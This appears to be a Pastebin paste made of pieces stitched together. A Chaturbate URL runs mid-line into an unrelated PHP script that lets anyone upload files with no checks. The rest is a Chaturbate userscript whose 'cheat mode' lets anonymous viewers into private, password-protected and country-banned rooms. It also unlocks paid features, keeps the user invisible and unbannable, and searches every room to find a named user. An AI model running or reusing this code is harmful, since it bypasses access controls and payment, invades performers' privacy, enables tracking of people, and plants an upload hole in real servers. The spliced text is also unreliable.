Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- 1.https://chaturbate.com/embed/sexybeth1248/?-_js./embed_js.php?i=in/?tour=9oGW&campaign=zM6MR&track=embed&room=sexybeth1248&bgcolor=transparent&disable_sound=0&embed_video_only=1&target=_parent' height=600 width=800 style='border: none; / $numoffile = 5; //
- $file_dir = "/home/webs/dmonster.com/subdomain/files/";
- if ($_POST)
- {
- for ($i=0;$i<$numoffile;$i++)
- {
- if (trim($_FILES['myfiles']['name'][$i])!="")
- {
- $newfile = $file_dir.$_FILES['myfiles']['name'][$i];
- move_uploaded_file($_FILES['myfiles']['tmp_name'][$i], $newfile);
- $j++;
- }
- }
- }
- if (isset($j)&&$j>0) print "Your file(s) has been uploaded.
- ";
- print "< form method='post' enctype='multipart/form-data'>";
- for($i=0;$i<$numoffile;$i++)
- {
- print "< input type='file' name='myfiles[]' size='30'>
- ";
- }
- print "< input type='submit' name='action' value='Upload'>";
- print "< / form>";
- 2. // ==UserScript==
- 3. // @name chaturbate
- 4. // @version 1
- 5. // @namespace chaturbate
- 6. // @description chaturbate
- 7. // @include http://*.chaturbate.com/*/ded/?-_js./embed_js.php?
- 8. // @include http://*.chaturbate.com//api/getchatuserlist/?
- 9. // @include http://chaturbate.com/*
- 10. // @exclude http://serve.ads.chaturbate.com/*
- 11. // @run-at document-start
- 12. // @grant GM_getValue
- 13. // @grant GM_setValue
- 14. // @grant GM_addStyle
- 15. // @grant GM_xmlhttpRequest
- 16. // ==/UserScript==
- 17.
- 18. scversion = 16.7;
- 19. flashplayer = "/static/flash/CBV_2p640.swf";
- 20.
- 21. //!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
- 22. // if you see this text then save the file as *- newchaturbate.user.js -*
- 23. //after saving open it inside chromeµsoft edge & and install it.
- 24. //!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
- 25. //
- 26. //++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
- 27. //>>>>>>>>>>>>>>>>>>ONLY FOR CHROME&MICROSOFT EDGE WITH GREASEMONKEY RUNNING ON WINDOWS !!!<<<<<<<<<<
- 28. // >>>>>>>>>>>>>>>>>>>>>>>>DO NOT GIVE THIS SCRIPT TO OTHER PERSONS !!<<<<<<<<<<<<<<<<<<
- 29. // V12+
- 30. // Removes all advertisements
- 31. // Inserts a new video box if the room is password protected or if your banned or blocked
- 32. // More colums on the main screen and streched the chat box
- 33. // External links are no longer redirected
- 34. // Checks the version of the flash player and tries to use the same version on protectected rooms
- 35. // Shoutbox at the end of the screen
- 36. // By default the chat won't show emoticons
- 37. //
- 38. // Unlocked supporters profile features ( PM , chat color etc.) USE IT WITH CARE !
- 39. //
- 40. // All links are rewritten to /p/ , the preformers profile, there you have the choice to go to the normal
- 41. // webcam or to go to a webcam with special functions.
- 42. // On a normal cam page you have the option to go back to the profile page.
- 43. //
- 44. // special video mode where you can enter a streamkey
- 45. //
- 46. // only the last updates are mentioned here , the list became too long
- 47. //
- 48. // v14.4 adjustment for the spy on cam screen. if you enter as an anon you can enter and leave the private chat any
- 49. // time you want. if the performer goes private or groep you will stil auto-follow to the private room
- 50. // v14.5 you can see video of country-banned rooms together with chat. reconnect chatbox option, if you have access in special mode
- 51. // it will check for the chat host to connect too, if you have no access it will ask you what chat host to use
- 52. // v14.6 added a video server selector in the special video menu , if you have no video then maually select an other one
- 53. // v14.7 2 chat notifications made visible , name in thumb screen made easy to copy
- 54. // v14.8 video server orgin3 added
- 55. // V14.9 shows the requester of a private show , better scroll with extra info, fixed front page mess-up with long broadcaster names
- 56. // V15.1 orgin4 and 5 added. It remembers the server for every stream. In the key input area below the video you can enter a long string
- 57. // containing the key , the script will select the key from it and, if its found, the server. As an anon it will ask if you want to be
- 58. // in broadcaster mode. You can open a room in clean Iframe mode.
- 59. // v15.2 corrected the usercolors in chat list , offline tipping of a non-verified user
- 60. // v15.3 all video options removed , tipping removed , fixed anon entry
- 61. // v15.4 fix for tipnotes
- 62. // v15.5 sorting users by tokens in normal chat , mute tip sound option , floating widgets on profile page removed
- 63. // v15.6 stopped auto refresh in banned video only page , more fancy reziseable video window
- 64. // v15.7 no more tip notes
- 65. // V15.8 if entering via password room you can use mobile mode. you will not appear in userlist and you can not be banned (you can be silenced!)
- 66. // v15.9 bug fix from 15.8
- 67. // v16.0 , number scipped
- 68. // v16.1 use of a random server in password room b.c. the static server was down.
- 69. // v16.2 fix for FF 23 , find a user added
- 70. // v16.3 better user finder, fixed tipping and abusing in cheat mode, mobile video link added
- 71. // v16.3a & b & c microsoft edge 20.1024.16384.0 © 2017 Microsoft compatible , no update
- 72. // v16.4 graphical last online viewer , no more info stored in flash cookies , script cleanup
- 73. // v16.5 always remove adds with cookie, better cleaning of messed-up profiles , always remove video logo
- 74. //++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
- 75.
- 76. createCookie("agreeterms","1",1);
- 77. createCookie("np3","0",1);
- 78. if (!readCookie("noads")){createCookie("noads","1",30);window.location.reload()}
- 79.
- 80. function do_script() {
- 81.
- 82. // some adjustment needed if we are in cheat mode
- 83.
- 84. if (readCookie("cheatmode")){
- 85. mode=readCookie("cheatmode").split("&");
- 86. eraseCookie("cheatmode","chaturbate.com");
- 87. preformer=mode[0];
- 88. anon=mode[1];
- 89. mob=mode[2];
- 90. document.getElementsByTagName('body')[0].setAttribute("style", "border:50px double #545565;");
- 91. base=document.createElement('BASE');
- 92. url=document.location.href;
- 93. url=url.replace(document.location.href.split("/")[4],preformer);
- 94. url=url.split("?")[0];
- 95.
- 96. base.setAttribute("href",url);
- 97.
- 98. document.getElementsByTagName('head')[0].appendChild(base);
- 99.
- 100.
- 101. text1="<center><b>Welcome in "+preformer+"'s room.</b><br></center>";
- 102. text2="<center><b>You are an anonymous user and you can not chat.</b><br></center>";
- 103. text3="<center><b>You are in mobile mode and you are not visible in the userlist.</b><br></center>";
- 104. text4='<center><b><a href="javascript:if(flash_handler.initializer.is_on_private_room==false){GetFlashObject(\'movie\').LeaveRoom();flash_handler.initializer.is_on_private_room=true;GetFlashObject(\'movie\').JoinPrivateRoom(0)};">Enter the private room</a>--------<a href="javascript:if(flash_handler.initializer.is_on_private_room==true){GetFlashObject(\'movie\').LeaveRoom();flash_handler.initializer.is_on_private_room=false;GetFlashObject(\'movie\').JoinRoom(0);}">Leave the private room</a></center>';
- 105. text5="<center><b><a href='http://chaturbate.com/p/"+preformer+"/'>Return to the profile.</a><br><br>";
- 106.
- 107. text=document.createElement('div');
- 108.
- 109. textf=text1;
- 110. if(anon==1){textf=textf+text2}
- 111. if(mob==1){textf=textf+text3}
- 112. if((anon==1)&&(mob==0)){textf=textf+text4}
- 113.
- 114. text.id="cheat";
- 115.
- 116. text.innerHTML=textf+text5;
- 117.
- 118. body=document.getElementsByTagName('body')[0];
- 119.
- 120. body.insertBefore(text, body.firstChild);
- 121.
- 122. // fix abuse
- 123. abu=document.getElementById("report_popup");
- 124. abu.getElementsByTagName('form')[0].setAttribute("action","/abuse/report/"+preformer+"/");
- 125.
- 126. // fix the tipping
- 127. tips=document.getElementsByClassName('tip_shell')[0];
- 128. tips.getElementsByTagName('form')[0].setAttribute("action","/tipping/send_tip/"+preformer+"/");
- 129.
- 130. }
- 131.
- 132. // always earase again, just in case we broke the page
- 133. eraseCookie("cheatmode","chaturbate.com");
- 134. // earase these too
- 135. eraseCookie("latest_linked_timestamp");
- 136. eraseCookie("latest_linked_username");
- 137. eraseCookie("affkey");
- 138. eraseCookie("fromaffiliate");
- 139.
- 140.
- 141. // from here normal script
- 142.
- 143. // remove visible adds
- 144. ad = document.getElementsByClassName('ad');
- 145. if (document.location.href.split("/")[3]!="b"){
- 146. if (ad[1]){ad[1].parentNode.removeChild(ad[1])}}
- 147.
- 148. verstr='<strong>Special edition </strong><br>V '+scversion;
- 149. if(document.getElementById("player")){verstr=verstr+'<br><label> Debug chatbox: </label><input type="checkbox" id="appnotice">'}
- 150. if (ad[0]){ad[0].innerHTML=verstr}
- 151.
- 152.
- 153. ad = document.getElementsByClassName('banner')[0];
- 154. if (ad){ad.parentNode.removeChild(ad)}
- 155. ad=document.getElementById("botright");
- 156. if (ad){ad.parentNode.removeChild(ad)}
- 157.
- 158. // advert options on menu bars and check if your logged in
- 159. if (document.location.href.indexOf("/auth/logout/") != -1){eraseCookie("logstatus","chaturbate.com");eraseCookie("latest_linked_username");}
- 160. notlogged = GM_getValue( "all" , 0 );
- 161. bar=document.getElementById("nav");
- 162. if (bar){
- 163. barl=bar.getElementsByTagName('li');
- 164. i=barl.length-1;
- 165. while (i != -1){
- 166. d=barl[i].innerHTML;
- 167. if (d.indexOf('/login') != -1) {notlogged = 1}
- 168. if ((d.indexOf('/login') != -1)||(d.indexOf('href="/"') != -1)||(d.indexOf('href="/b/') != -1)||(d.indexOf('/my_') != -1)){i--}
- 169. else{barl[i].parentNode.removeChild(barl[i]);i--}
- 170. }}
- 171.
- 172. // rss feed link
- 173. if(document.getElementsByClassName('wide')[0]){
- 174. newli=document.createElement('li');
- 175. newli.innerHTML="<a href='http://chaturbate.com/affiliates/promotools/cam_listing/' target = _blank>LAST ONLINE </a>";
- 176. if (bar){bar.appendChild(newli)}}
- 177.
- 178. // find user
- 179. if(document.getElementsByClassName('wide')[0]){
- 180. newli=document.createElement('li');
- 181. newli.innerHTML="<a href='http://chaturbate.com/affiliates/promotools/im_ads/' target = _blank>FIND A USER </a>";
- 182. if (bar){bar.appendChild(newli)}}
- 183.
- 184.
- 185. // blog spam
- 186. ad = document.getElementsByClassName('featured_blog_posts')[0];
- 187. if (ad){ad.parentNode.removeChild(ad)}
- 188.
- 189. // footer spam
- 190. ad = document.getElementsByClassName('featured_text')[0];
- 191. if (ad){ad.parentNode.removeChild(ad)}
- 192.
- 193. // announcement banner
- 194. ad = document.getElementsByClassName('top-section')[0];
- 195. if (ad){
- 196. ad = ad.getElementsByTagName('img')[0];
- 197. if (ad){ad.parentNode.removeChild(ad)}}
- 198.
- 199. // footer cleanup
- 200. ad = document.getElementsByClassName('footer-holder')[0];
- 201. if (ad){
- 202. ad1 = ad.getElementsByTagName('p')[3];
- 203. if (ad1){ad1.parentNode.removeChild(ad1)}
- 204. ad1 = ad.getElementsByTagName('p')[2];
- 205. if (ad1){ad1.parentNode.removeChild(ad1)}
- 206. ad1 = ad.getElementsByTagName('p')[1];
- 207. if (ad1){ad1.parentNode.removeChild(ad1)}
- 208. ad1 = ad.getElementsByTagName('p')[0];
- 209. if (ad1){ad1.parentNode.removeChild(ad1)}}
- 210.
- 211. // strech the screen
- 212. front=document.getElementsByClassName('c-1')[0];
- 213. if(front) {
- 214. front.setAttribute("style", "margin: 0px 0px 0px 35px;")}
- 215. front=document.getElementsByClassName('c-1')[1];
- 216. if(front) {
- 217. front.setAttribute("style", "margin: 0px 0px 0px 35px;")}
- 218.
- 219. // remove out of position images
- 220. container = document.getElementById("tabs_content_container")
- 221. if (container){
- 222. var taglist=new Array("a","p","i","strong","b","u","ul","ol","li","h1","h2","h3","img","font","br");
- 223. for (n=0; n<taglist.length-1; n++){
- 224. blockelm (taglist[n]);
- 225. }}
- 226.
- 227. function blockelm(tag){
- 228. var image = container.getElementsByTagName(tag);
- 229. for (i=0; i<image.length; i++){
- 230. if (image[i].style.position){
- 231. if ((image[i].style.position.indexOf("absolute")!=-1)||(image[i].style.position.indexOf("fixed")!=-1)){
- 232. image[i].style.display="none"}
- 233. }}}
- 234.
- 235. //fix external links redirection
- 236. var link = document.getElementsByTagName('a');
- 237. for (i=0; i<link.length; i++){
- 238. if (link[i].href.indexOf('?url=') != -1){
- 239. linkhref=unescape(link[i].href);
- 240. newlinkhref=linkhref.substring(linkhref.indexOf("?url=")+5,linkhref.indexOf("&domain"));
- 241. link[i].href=newlinkhref}}
- 242.
- 243.
- 244. if (notlogged == 0){ // logged in
- 245.
- 246. // on a profile page link to cam
- 247. splits=document.location.href.split("/");
- 248. play=document.getElementById("movie"); // check for player
- 249.
- 250. if (splits[3]!="b"){ // not broadcasting
- 251. if (splits[3]=="p"){ // profile page (can have player)
- 252.
- 253. newli=document.createElement('li');
- 254. camloc = splits[0]+"/"+splits[1]+"/"+splits[2]+"/"+splits[4];
- 255. newli.innerHTML="<a href="+camloc+">OPEN THE NORMAL CHAT </a>";
- 256. if (bar){bar.appendChild(newli)}
- 257.
- 258.
- 259. // go to semi password room
- 260. newli=document.createElement('li');
- 261. pwroom= splits[0]+"/"+splits[1]+"/"+splits[2]+"/roomlogin/"+splits[4];
- 262. newli.innerHTML="<a href='"+pwroom+"'>GO TO PASSWORD ROOM</a>";
- 263. if (bar){bar.appendChild(newli)};
- 264.
- 265. // go to embedded room
- 266. newli=document.createElement('li');
- 267. ebroom= splits[0]+"/"+splits[1]+"/"+splits[2]+"/embed/"+splits[4];
- 268. newli.innerHTML="<a href='"+ebroom+"' target=_blank>OPEN THE ROOM IN A CLEAN PAGE</a>";
- 269. if (bar){bar.appendChild(newli)};
- 270.
- 271. } // end only on profile page
- 272.
- 273. // graphic rss feed
- 274. function showfeed(){
- 275. var x=document.getElementById("selector").selectedIndex;
- 276. feedXml='http://chaturbate.com/feed/latest/?'+document.getElementById("selector").getElementsByTagName("option")[x].value+"&"+new Date().getTime() ;
- 277.
- 278. GM_xmlhttpRequest({
- 279. method: 'GET',
- 280. url: feedXml,
- 281. onload: function(response) {
- 282. xmlString=response.responseText;
- 283.
- 284. // dirty HTML parser, i can handle xml as html
- 285. xmldoc=document.createElement('div');
- 286. xmldoc.innerHTML=xmlString;
- 287.
- 288. area=document.getElementsByClassName('content_body')[0];
- 289. area.innerHTML="";
- 290.
- 291. newdiv=document.createElement('div');
- 292. area.appendChild(newdiv);
- 293.
- 294. holder=document.createElement('ul');
- 295. holder.className="list";
- 296. holder.id="check";
- 297. newdiv.appendChild(holder);
- 298.
- 299. var items = new Array();
- 300. items=xmldoc.getElementsByTagName('item');
- 301.
- 302. blockstring='<img src="item1" alt="item2" class="png" height="148" width="180">'
- 303. +'<a href="item3" target="_blank" class="corners"> </a>'
- 304. +'<div class="details">'
- 305. +'<div class="title">'
- 306. +'<a target="_blank" href="item4">item5</a>'
- 307. +'<span class="age genderitem6"> </span>'
- 308. +'</div>'
- 309. +'<ul class="subject">'
- 310. +'<li></li>'
- 311. +'</ul>'
- 312. +'<ul class="sub-info">'
- 313. +'<li class="location">item8</li>'
- 314. +'<li class="cams">item9 min. online - item10 viewers</li>'
- 315. +'</ul>'
- 316. +'</div>';
- 317.
- 318. for (n=0; n<items.length; n++){
- 319. image_url= items[n].getElementsByTagName("image_url")[0].innerHTML;
- 320. title = items[n].getElementsByTagName("title")[0].innerHTML;
- 321.
- 322. guid = items[n].getElementsByTagName("guid")[0].innerHTML;
- 323. gsplits=guid.split("/");
- 324. guid=gsplits[0]+"/"+gsplits[1]+"/"+gsplits[2]+"/p/"+gsplits[3];
- 325.
- 326. username = items[n].getElementsByTagName("username")[0].innerHTML;
- 327. gender = items[n].getElementsByTagName("gender")[0].innerHTML;
- 328. location_ = items[n].getElementsByTagName("location")[0].innerHTML;
- 329. number_of_users_watching = items[n].getElementsByTagName("number_of_users_watching")[0].innerHTML;
- 330.
- 331. online_since = items[n].getElementsByTagName("online_since")[0].innerHTML;
- 332. osplits=online_since.split(":");
- 333. Honline=parseInt(osplits[0].split(" ")[1]);
- 334. Monline=parseInt(osplits[1]);
- 335. Sonline=parseInt(osplits[2].split(".")[0]);
- 336.
- 337. offset = parseInt((new Date().getTimezoneOffset()))/60;
- 338. Honline = Honline+11+offset;
- 339. if (Honline >= 24){Honline=Honline-24}
- 340.
- 341. d = new Date();
- 342. Hnow = d.getHours();
- 343. Mnow = d.getMinutes();
- 344. Snow = d.getSeconds();
- 345.
- 346. secnow=(Hnow*60*60)+(Mnow*60)+Snow;
- 347. seconl=(Honline*60*60)+(Monline*60)+Sonline;
- 348. secdiff=Math.abs(secnow-seconl);
- 349. mindiff=parseInt(secdiff/60);
- 350.
- 351. block=document.createElement('li');
- 352. block.setAttribute("style", "margin: 5px 5px 5px 5px;");
- 353.
- 354. blockstring1=blockstring.replace("item1",image_url);
- 355. blockstring1=blockstring1.replace("item2",title);
- 356. blockstring1=blockstring1.replace("item3",guid);
- 357. blockstring1=blockstring1.replace("item4",guid);
- 358. blockstring1=blockstring1.replace("item5",username);
- 359. blockstring1=blockstring1.replace("item6",gender);
- 360. blockstring1=blockstring1.replace("item8",location_);
- 361. blockstring1=blockstring1.replace("item9",mindiff);
- 362. blockstring1=blockstring1.replace("item10",number_of_users_watching);
- 363.
- 364. block.innerHTML=blockstring1;
- 365.
- 366. holder.appendChild(block);
- 367.
- 368. } // end for
- 369.
- 370. setTimeout(function(){showfeed()},20000);
- 371.
- 372. } // end onload
- 373. }); // end xmlhttp
- 374. } // end function
- 375.
- 376.
- 377. //finduser
- 378. function finduser(){
- 379. fusern=document.getElementById("fusername").value;
- 380. if (fusern == ""){alert("First fill in a username !");return false}
- 381.
- 382. document.getElementsByClassName('affiliate_options')[0].innerHTML="Please wait, getting roomlist";
- 383.
- 384.
- 385. feedXml='http://chaturbate.com/tours/3/?p=1&c=1000';
- 386.
- 387. GM_xmlhttpRequest({
- 388. method: 'GET',
- 389. url: feedXml,
- 390. onload: function(response) {
- 391. responsedoc=response.responseText;
- 392.
- 393. // dirty HTML parser
- 394. parse=document.createElement('div');
- 395. parse.innerHTML=responsedoc;
- 396.
- 397. var items = new Array();
- 398. items=parse.getElementsByClassName('title');
- 399.
- 400. var olnames = new Array();
- 401. for (i=0; i<items.length-1; i++){
- 402. olnames[i]=items[i].getElementsByTagName('a')[0].innerHTML;
- 403. }
- 404.
- 405. // save some memory
- 406. responsedoc="";
- 407. parse="";
- 408. items.length = 0;
- 409. // end parser
- 410.
- 411. document.getElementsByClassName('content_body')[0].innerHTML="Searching "+i+" rooms for user: <b>"+fusern+"</b><br><br>";
- 412.
- 413. i=0;
- 414. checkroom(olnames,i);
- 415.
- 416. } // end onload xml
- 417.
- 418. }); // end xml
- 419.
- 420. } //end function
- 421.
- 422.
- 423. function checkroom(olnames,i){
- 424.
- 425. userurl="http://chaturbate.com//api/getchatuserlist/?roomname="+olnames[i]+"&private=false&sort_by=c";
- 426.
- 427. document.getElementsByClassName('affiliate_options')[0].innerHTML="searching room : <b>"+olnames[i]+"</b><br>";
- 428.
- 429. GM_xmlhttpRequest({
- 430. method: 'GET',
- 431. url: userurl,
- 432. onload: function(response) {
- 433. data = response.responseText;
- 434. if(data.indexOf(fusern+"|") != -1){
- 435. document.getElementsByClassName('content_body')[0].innerHTML=document.getElementsByClassName('content_body')[0].innerHTML+"User '<b>"+fusern+"</b>' found in room : <a href='http://chaturbate.com/p/"+olnames[i]+"/' target='_blank'>"+olnames[i]+"</a><br>";
- 436. }
- 437. i++;
- 438. if(i==olnames.length){
- 439. if(document.getElementsByClassName('content_body')[0].innerHTML==""){
- 440. document.getElementsByClassName('affiliate_options')[0].innerHTML="User '<b>"+fusern+"</b>' not found."}
- 441. else{
- 442. document.getElementsByClassName('affiliate_options')[0].innerHTML="Search finished."}
- 443. return false}
- 444. checkroom(olnames,i);
- 445. } // end onload xml2
- 446. }); // end xml2
- 447. }
- 448.
- 449. // set up rss page
- 450. if (document.location.href.indexOf("/affiliates/promotools/cam_listing/") != -1){
- 451. document.title="Last cam's online";
- 452. area=document.getElementsByClassName('content_body')[0];
- 453. area.innerHTML="";
- 454. area=document.getElementsByClassName('affiliate_options')[0];
- 455. area.innerHTML='<br>Last cam\'s online : <select id="selector" ><option value="">Show all</option><option value="gender=f">Show only female</option><option value="gender=m">Show only male</option><option value="gender=c">Show only couple</option><option value="gender=s">Show only transsexual</option></select>';
- 456. showfeed();
- 457. }
- 458.
- 459. // set up find a user page
- 460. if (document.location.href.indexOf("affiliates/promotools/im_ads/") != -1){
- 461. document.title="Find a user";
- 462. area=document.getElementsByClassName('content_body')[0];
- 463. area.innerHTML="";
- 464. area=document.getElementsByClassName('affiliate_options')[0];
- 465. area.innerHTML='<br>Enter the name of the user you want to locate: <input type="text" name="username" id="fusername"><input type="submit" value="Submit" id="submit"><br>';
- 466. document.getElementById("submit").addEventListener('click',function(){finduser();}, false);
- 467. }
- 468.
- 469. // on a player page, if logged in, unlock features.
- 470. if (play){ // player on the page ?
- 471. if (!readCookie("logstatus")){save()}
- 472. if(document.getElementById("defchat")){
- 473. scrip=document.createElement('script');
- 474. scrip.innerHTML="var oldFunction1 = features_unlocked;features_unlocked = function() {return true};";
- 475. document.getElementsByTagName('body')[0].appendChild(scrip);
- 476. }
- 477.
- 478. // console logger
- 479. if(document.getElementById("defchat")){
- 480. scrip=document.createElement('script');
- 481.
- 482. scriptstring="flash_handler.consolelog = "
- 483. +"function(msg2){"
- 484. +"xaa=document.getElementsByClassName('chat-list')[0];"
- 485. +"if(xaa){"
- 486. +"msg3=unescape(msg2);"
- 487. +"msg4='x';"
- 488. +"if (msg3.indexOf('Notification tokenbalanceupdate')!=-1){"
- 489. +"msg4='<p><span class=\"tipalert\">'+msg3.substring(20)+'</span></p>'}"
- 490. +"if (msg3.indexOf('Notification privateshowrequest')!=-1){"
- 491. +"msg4='<p><span class=\"privatealert\">'+msg3.substring(20)+'</span></p>'}"
- 492. +"if(document.getElementById('appnotice')){"
- 493. +"if(document.getElementById('appnotice').checked==true){"
- 494. +"msg4='<p><span>'+msg3+'</span></p>';}}"
- 495. +"if(msg4 != 'x'){"
- 496. +"newdiv=document.createElement('div');"
- 497. +"newdiv.className='text';"
- 498. +"newdiv.innerHTML=msg4;"
- 499. +"xaa.appendChild(newdiv);"
- 500. +"if(xaa.scrollHeight-xaa.scrollTop-xaa.offsetHeight <= 80){"
- 501. +"xaa.scrollTop=xaa.scrollHeight}}}};";
- 502.
- 503. scrip.innerHTML=scriptstring;
- 504. document.getElementsByTagName('body')[0].appendChild(scrip);
- 505. }
- 506.
- 507.
- 508. // options page on normal player page
- 509. if (splits[3]!="p"){ // no profile but still a player page = normal page
- 510. newli=document.createElement('li');
- 511. camloc = splits[0]+"/"+splits[1]+"/"+splits[2]+"/p/"+splits[3];
- 512. newli.innerHTML="<a href="+camloc+">GO TO THE PROFILE PAGE WITH OPTIONS</a>";
- 513. if (bar){bar.appendChild(newli)}}
- 514.
- 515. // shoutbox on all player pages
- 516. newtab2=document.createElement('div');
- 517. newtab2.id="shout";
- 518. newtab2.innerHTML=sdata;
- 519. document.getElementById("defchat").appendChild(newtab2);
- 520.
- 521. } // end player page
- 522.
- 523. // remove lock picture from thumb
- 524. pictures = document.getElementsByClassName('preview');
- 525. if (pictures){
- 526. for (i=0; i<pictures.length; i++){
- 527. if(pictures[i].getAttribute("alt") =="Locked"){
- 528. pictures[i].parentNode.removeChild(pictures[i])}}}
- 529.
- 530. // specials
- 531. // if you have no access then create a new video box
- 532. area = document.getElementsByClassName('block')[0];
- 533. if (area){
- 534. if (area.innerHTML.length < 100){
- 535. preformer=splits[3];
- 536. if (preformer == "p"){document.location.href="http://chaturbate.com/"+splits[4]}
- 537. document.title = preformer+"'s No Access Room";
- 538. makevid (preformer)}}
- 539.
- 540. if (splits[3]=="roomlogin"){
- 541. preformer=splits[4];
- 542. document.title = preformer+"'s Password Protected Room";
- 543. room=document.getElementsByClassName('sub-nav')[0];
- 544. if (room){
- 545. room.getElementsByTagName('a')[0].href=splits[0]+"/"+splits[1]+"/"+splits[2]+"/p/"+splits[4]+"/";
- 546. makevid (preformer)}}
- 547.
- 548.
- 549. //key entry
- 550. keyinput();
- 551.
- 552. // always set interval function, update every 3 sec.
- 553. t=setInterval(function(){
- 554.
- 555. // if on player page
- 556. // read flash player version
- 557.
- 558. play=document.getElementById("player");
- 559. if (play){
- 560. if (!readCookie("CBversion")){
- 561. version=document.getElementsByTagName('object')[0];
- 562. if (version){
- 563. createCookie("CBversion",version.getAttribute("data"),1,"chaturbate.com");
- 564. }}
- 565.
- 566. // nex cam = only video
- 567. rep=document.getElementsByClassName('nextcam')[0];
- 568. if (rep){
- 569. if (rep.innerHTML != "SHOW ONLY VIDEO"){
- 570. rep.href="#";rep.innerHTML="SHOW ONLY VIDEO";
- 571. rep.addEventListener('click',function(){popvid();}, false);
- 572. }}
- 573.
- 574.
- 575. // sorted userlist option
- 576. ulist=document.getElementsByClassName('users-list')[0];
- 577. if (ulist){
- 578. if(ulist.getElementsByTagName("a")[0]){
- 579. if(ulist.getElementsByTagName("a")[0].innerHTML!="refresh userlist sorted by tokens"){
- 580. newdiv=document.createElement('div');
- 581. newdiv.className='text';
- 582. newdiv.setAttribute('style','float:right');
- 583. newdiv.innerHTML=' <a href="#">refresh userlist sorted by tokens</a>';
- 584. newdiv.addEventListener('click',function(){sortuser();}, false);
- 585. ulist.insertBefore(newdiv,ulist.getElementsByTagName("div")[0])}
- 586.
- 587. }}
- 588.
- 589. // tip mute option and fuction
- 590. settings=document.getElementsByClassName('settings-list')[0];
- 591. if (settings){
- 592. if(!document.getElementById("tipmute")){
- 593. newform=document.createElement('form');
- 594. newform.innerHTML='<label> Mute tip sound: </label><input type="checkbox" id="tipmute">';
- 595. settings.appendChild(newform);
- 596.
- 597. scrip=document.createElement('script');
- 598. scriptstring="if(document.getElementById('tipmute')){"
- 599. +"var oldbeep = PlayBeep;PlayBeep = function(text) {if(document.getElementById('tipmute').checked==true){return}else{return oldbeep(text)}}};";
- 600.
- 601. scrip.innerHTML=scriptstring;
- 602. document.getElementsByTagName('body')[0].appendChild(scrip);
- 603.
- 604. }}
- 605. } // end if play
- 606.
- 607. // if on front page
- 608. //rewrite thumb links with P and let them open in a new window
- 609.
- 610. front=document.getElementsByClassName('list')[0];
- 611. if(front) {
- 612. if (front.id != "check"){ // id is gone when updated
- 613. front.id="check";
- 614.
- 615. // names with p
- 616. function setkeys(front){
- 617. blocks=front.getElementsByTagName('a');
- 618. for (i=0; i<blocks.length; i++){
- 619. link=blocks[i].href;
- 620. splits=link.split("/");
- 621. if (splits[3]){
- 622. if (splits[3]!="p"){
- 623. link=splits[0]+"/"+splits[1]+"/"+splits[2]+"/p/"+splits[3];
- 624. blocks[i].href=link;
- 625. blocks[i].target="_blank";
- 626. }}}
- 627. } // end setkeys function
- 628.
- 629.
- 630.
- 631. setkeys (front);
- 632. if (document.getElementsByClassName('list')[1]){setkeys(document.getElementsByClassName('list')[1])}
- 633.
- 634. }//end if front
- 635. } // end if ID
- 636. },3000) // end timer
- 637. } // end not broadcasting
- 638. } // end logged in
- 639.
- 640. } // end main function
- 641.
- 642. // sorted userlist
- 643.
- 644. function sortuser(){
- 645. ulist=document.getElementsByClassName('users-list')[0];
- 646. if (ulist){
- 647. ulist.innerHTML="Sorting userlist....";
- 648. room=unsafeWindow.nextroomurl.split("/")[2];
- 649. userurl="http://chaturbate.com/api/getchatuserlist/?roomname="+room+"&private=false&sort_by=t";
- 650. GM_xmlhttpRequest({
- 651. method: 'GET',
- 652. url: userurl,
- 653. onload: function(response) {
- 654. data = response.responseText;
- 655. userarray=data.split(",");
- 656. ulist.innerHTML="";
- 657. for (i=1;i<userarray.length;i++){
- 658. uname=userarray[i].split("|")[0];
- 659. ucol=userarray[i].split("|")[1];
- 660. div3=document.createElement('div');
- 661. div3.innerHTML='<a href="/p/'+uname+'" target=_blank><strong class="color-'+ucol+'">'+uname+'</strong></a>';
- 662. ulist.appendChild(div3);
- 663. }
- 664. }})
- 665. }}
- 666.
- 667. //popvid
- 668. function popvid(){
- 669. vidwin=document.getElementById("player").innerHTML;
- 670. popUpWindow=window.open("","","height=406,width=498,left=0,top=0,resizable=yes,scrollbars=no,toolbar=no,menubar=no,location=no,directories=no,status=no");
- 671. popUpWindow.document.writeln ('<html><head><title>Floating '+document.title+'</title></head><body BGCOLOR="grey" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0">'+vidwin+'</body></html>');
- 672. popUpWindow.document.close();
- 673. window.close();
- 674. document.location.href="http://chaturbate.com"}
- 675.
- 676. // new cheat function
- 677. function npcheat(preformer,anon){
- 678.
- 679. mmode=0;
- 680. if(document.getElementById('mobmode').checked==true){mmode=1}
- 681.
- 682. // get chat host
- 683. GM_xmlhttpRequest({
- 684. method: 'GET',
- 685. url: 'http://www.chaturbate.com/embed/'+preformer,
- 686. onload: function(response2) {
- 687. data2 = response2.responseText;
- 688.
- 689. chostpos=data2.indexOf("rtmp://chat");
- 690. if (chostpos == -1){
- 691. r=confirm("You have no access to this room and the script does not know what chat host to use\nPress OK to use chat host 1 or cancel to use chat host 2\nIf it fails retry it with the other one.");
- 692. if (r==true){chost="rtmp://chat1"}
- 693. else{chost="rtmp://chat2"}}
- 694. else{
- 695. chost=data2.substring(chostpos,chostpos+12)}
- 696.
- 697. // set a cookie so we know the new page must be adjusted and how
- 698. createCookie("cheatmode",preformer+"&"+anon+"&"+mmode+"&"+chost,1,"chaturbate.com");
- 699.
- 700. window.location.href='http://chaturbate.com/affiliates/in/NxHf/AAaAA/';
- 701.
- 702. }});
- 703. }
- 704.
- 705. //auto update
- 706. function save(){
- 707. if(document.getElementsByClassName('username')[0]){
- 708. uname=document.getElementsByClassName('username')[0].innerHTML;
- 709.
- 710.
- 711.
- 712. // createCookie("agreeterms","1",1);
- 713. if (!readCookie("noads")){createCookie("noads","1",30);window.location.reload()}
- 714. upperdate();
- 715.
- 716. function upperdate(){GM_setValue( "all", 1 );GM_setValue( "al", 1 )
